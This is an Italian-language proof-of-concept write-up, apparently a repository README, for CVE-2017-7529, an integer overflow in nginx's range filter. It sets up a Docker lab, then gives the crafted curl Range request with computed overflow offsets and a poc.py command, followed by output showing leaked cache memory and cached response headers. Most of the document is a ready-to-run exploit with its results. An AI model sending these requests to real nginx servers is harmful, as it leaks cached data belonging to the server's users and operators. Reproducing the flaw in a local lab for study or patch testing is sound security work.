
Nginx (ver. 0.5.6 - 1.13.2) Integer Overflow remoto
Le versioni di Nginx dalla 0.5.6 fino alla 1.13.2 inclusa presentano una vulnerabilità di integer overflow nel modulo range filter di nginx, che comporta la divulgazione di informazioni potenzialmente sensibili in seguito a una richiesta appositamente costruita. Fonte: https://nvd.nist.gov/vuln/detail/CVE-2017-7529
In altre fonti open source puoi trovare informazioni secondo cui questa vulnerabilità può essere riprodotta solo con Apache2 e solo con file immagine, ma non è così. Questa vulnerabilità funziona con qualsiasi applicazione proxata tramite Nginx. L'importante è che il server restituisca l'header Accept-Ranges: bytes. Può essere aggiunto manualmente alla configurazione di nginx: proxy_force_ranges on;
$ git clone https://github.com/SirEagIe/CVE-2017-7529
$ cd CVE-2017-7529
$ docker build -t cve-2017-7529 .
$ docker run --rm -d -p 8000:80 --name cve-2017-7529 cve-2017-7529
Invia una richiesta GET per ottenere il Content-Length e memorizza la risposta nella cache. Reinvia la richiesta con l'header Range e l'intervallo .
-n,-(0x8000000000000000-n)$ curl -i http://localhost:8000/
$ curl -i http://localhost:8000/ -r -533,-9223372036854775275 --output -
Oppure usa lo script poc.py.
$ python3 poc.py http://localhost:8000/ 513
Risultato:
[+] Vulnerable to CVE-2017-7529
--00000000000000000029
Content-Type: text/html; charset=utf-8
Content-Range: bytes -513-19/20
MX*fÿÿÿÿÿÿÿÿõU*fTêû©h
KEY: httpGETlocalhost/
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 20
Server: Werkzeug/1.0.1 Python/3.5.3
Date: Thu, 25 Apr 2024 13:09:09 GMT
<p>Hello, World!</p>
--00000000000000000029
Content-Type: text/html; charset=utf-8
Content-Range: bytes -9223372036854775255-19/20